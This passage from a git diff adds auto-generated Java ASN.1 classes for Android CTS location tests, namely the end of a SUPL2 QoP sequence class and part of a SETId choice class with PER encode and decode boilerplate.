+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getHoracc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHoracc();
+ }
+
+ @Override public void setToNewInstance() {
+ setHoraccToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.horaccType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "horacc : "
+ + getHoracc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getVeracc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVeracc();
+ }
+
+ @Override public void setToNewInstance() {
+ setVeraccToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.veraccType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "veracc : "
+ + getVeracc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxLocAge() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxLocAge();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxLocAgeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.maxLocAgeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxLocAge : "
+ + getMaxLocAge().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getDelay() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDelay();
+ }
+
+ @Override public void setToNewInstance() {
+ setDelayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.delayType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "delay : "
+ + getDelay().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class horaccType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_horaccType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public horaccType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_horaccType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_horaccType != null) {
+ return ImmutableList.of(TAG_horaccType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new horaccType from encoded stream.
+ */
+ public static horaccType fromPerUnaligned(byte[] encodedBytes) {
+ horaccType result = new horaccType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new horaccType from encoded stream.
+ */
+ public static horaccType fromPerAligned(byte[] encodedBytes) {
+ horaccType result = new horaccType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "horaccType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class veraccType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_veraccType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public veraccType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_veraccType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_veraccType != null) {
+ return ImmutableList.of(TAG_veraccType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new veraccType from encoded stream.
+ */
+ public static veraccType fromPerUnaligned(byte[] encodedBytes) {
+ veraccType result = new veraccType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new veraccType from encoded stream.
+ */
+ public static veraccType fromPerAligned(byte[] encodedBytes) {
+ veraccType result = new veraccType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "veraccType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxLocAgeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxLocAgeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxLocAgeType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxLocAgeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxLocAgeType != null) {
+ return ImmutableList.of(TAG_maxLocAgeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxLocAgeType from encoded stream.
+ */
+ public static maxLocAgeType fromPerUnaligned(byte[] encodedBytes) {
+ maxLocAgeType result = new maxLocAgeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxLocAgeType from encoded stream.
+ */
+ public static maxLocAgeType fromPerAligned(byte[] encodedBytes) {
+ maxLocAgeType result = new maxLocAgeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxLocAgeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class delayType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_delayType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public delayType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_delayType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_delayType != null) {
+ return ImmutableList.of(TAG_delayType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new delayType from encoded stream.
+ */
+ public static delayType fromPerUnaligned(byte[] encodedBytes) {
+ delayType result = new delayType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new delayType from encoded stream.
+ */
+ public static delayType fromPerAligned(byte[] encodedBytes) {
+ delayType result = new delayType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "delayType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("QoP = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java
new file mode 100755
index 0000000..fbd535d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/SETId.java
@@ -0,0 +1,948 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1IA5String;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SETId extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_SETId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "SETId: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public SETId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SETId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SETId != null) {
+ return ImmutableList.of(TAG_SETId);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new SETId from encoded stream.
+ */
+ public static SETId fromPerUnaligned(byte[] encodedBytes) {
+ SETId result = new SETId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SETId from encoded stream.
+ */
+ public static SETId fromPerAligned(byte[] encodedBytes) {
+ SETId result = new SETId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Msisdn(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETId.msisdnType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.msisdnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Mdn(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETId.mdnType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.mdnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Min(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETId.minType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.minType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Imsi(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETId.imsiType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.imsiType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Nai(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SETId.naiType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.naiType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $IPAddress(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new IPAddress();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class msisdnType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_msisdnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public msisdnType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_msisdnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_msisdnType != null) {
+ return ImmutableList.of(TAG_msisdnType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new msisdnType from encoded stream.
+ */
+ public static msisdnType fromPerUnaligned(byte[] encodedBytes) {
+ msisdnType result = new msisdnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new msisdnType from encoded stream.
+ */
+ public static msisdnType fromPerAligned(byte[] encodedBytes) {
+ msisdnType result = new msisdnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "msisdnType";
+ }
+}
+
+
+ public boolean isMsisdn() {
+ return !hasExtensionValue() && Select.$Msisdn == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsisdn}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETId.msisdnType getMsisdn() {
+ if (!isMsisdn()) {
+ throw new IllegalStateException("SETId value not a Msisdn");
+ }
+ return (SETId.msisdnType) element;
+ }
+
+ public void setMsisdn(SETId.msisdnType selected) {
+ selection = Select.$Msisdn;
+ extension = false;
+ element = selected;
+ }
+
+ public SETId.msisdnType setMsisdnToNewInstance() {
+ SETId.msisdnType element = new SETId.msisdnType();
+ setMsisdn(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class mdnType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_mdnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public mdnType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_mdnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_mdnType != null) {
+ return ImmutableList.of(TAG_mdnType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new mdnType from encoded stream.
+ */
+ public static mdnType fromPerUnaligned(byte[] encodedBytes) {
+ mdnType result = new mdnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new mdnType from encoded stream.
+ */
+ public static mdnType fromPerAligned(byte[] encodedBytes) {
+ mdnType result = new mdnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "mdnType";
+ }
+}
+
+
+ public boolean isMdn() {
+ return !hasExtensionValue() && Select.$Mdn == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMdn}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETId.mdnType getMdn() {
+ if (!isMdn()) {
+ throw new IllegalStateException("SETId value not a Mdn");
+ }
+ return (SETId.mdnType) element;
+ }
+
+ public void setMdn(SETId.mdnType selected) {
+ selection = Select.$Mdn;
+ extension = false;
+ element = selected;
+ }
+
+ public SETId.mdnType setMdnToNewInstance() {
+ SETId.mdnType element = new SETId.mdnType();
+ setMdn(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_minType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minType() {
+ super();
+ setMinSize(34);
+setMaxSize(34);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minType != null) {
+ return ImmutableList.of(TAG_minType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minType from encoded stream.
+ */
+ public static minType fromPerUnaligned(byte[] encodedBytes) {
+ minType result = new minType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minType from encoded stream.
+ */
+ public static minType fromPerAligned(byte[] encodedBytes) {
+ minType result = new minType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isMin() {
+ return !hasExtensionValue() && Select.$Min == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMin}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETId.minType getMin() {
+ if (!isMin()) {
+ throw new IllegalStateException("SETId value not a Min");
+ }
+ return (SETId.minType) element;
+ }
+
+ public void setMin(SETId.minType selected) {
+ selection = Select.$Min;
+ extension = false;
+ element = selected;
+ }
+
+ public SETId.minType setMinToNewInstance() {
+ SETId.minType element = new SETId.minType();
+ setMin(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class imsiType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_imsiType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public imsiType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_imsiType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_imsiType != null) {
+ return ImmutableList.of(TAG_imsiType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new imsiType from encoded stream.
+ */
+ public static imsiType fromPerUnaligned(byte[] encodedBytes) {
+ imsiType result = new imsiType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new imsiType from encoded stream.
+ */
+ public static imsiType fromPerAligned(byte[] encodedBytes) {
+ imsiType result = new imsiType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "imsiType";
+ }
+}
+
+
+ public boolean isImsi() {
+ return !hasExtensionValue() && Select.$Imsi == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isImsi}.
+ */
+ @SuppressWarnings("unchecked")
+ public SETId.imsiType getImsi() {
+ if (!isImsi()) {
+ throw new IllegalStateException("SETId value not a Imsi");
+ }
+ return (SETId.imsiType) element;
+ }
+
+ public void setImsi(SETId.imsiType selected) {
+ selection = Select.$Imsi;
+ extension = false;
+ element = selected;
+ }
+
+ public SETId.imsiType setImsiToNewInstance() {
+ SETId.imsiType element = new SETId.imsiType();
+ setImsi(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class naiType extends Asn1IA5String {
+ //
+
+ private static final Asn1Tag TAG_naiType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public naiType() {
+ super();
+ setMinSize(1);
+setMaxSize(1000);
+
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_naiType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_naiType != null) {
+ return ImmutableList.of(TAG_naiType);
+ } else {
+ return Asn1IA5String.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new naiType from encoded stream.
+ */
+ public static naiType fromPerUnaligned(byte[] encodedBytes) {
+ naiType result = new naiType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new naiType from encoded stream.
+ */
+ public static naiType fromPerAligned(byte[] encodedBytes) {
+ naiType result = new naiType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "naiType = " + getValue() + ";\n";
+ }
+}
+
+
+ public boolean isNai() {
+ return !hasExtensionValue() && Select.$Nai == selection;
+ }
+
+ /**
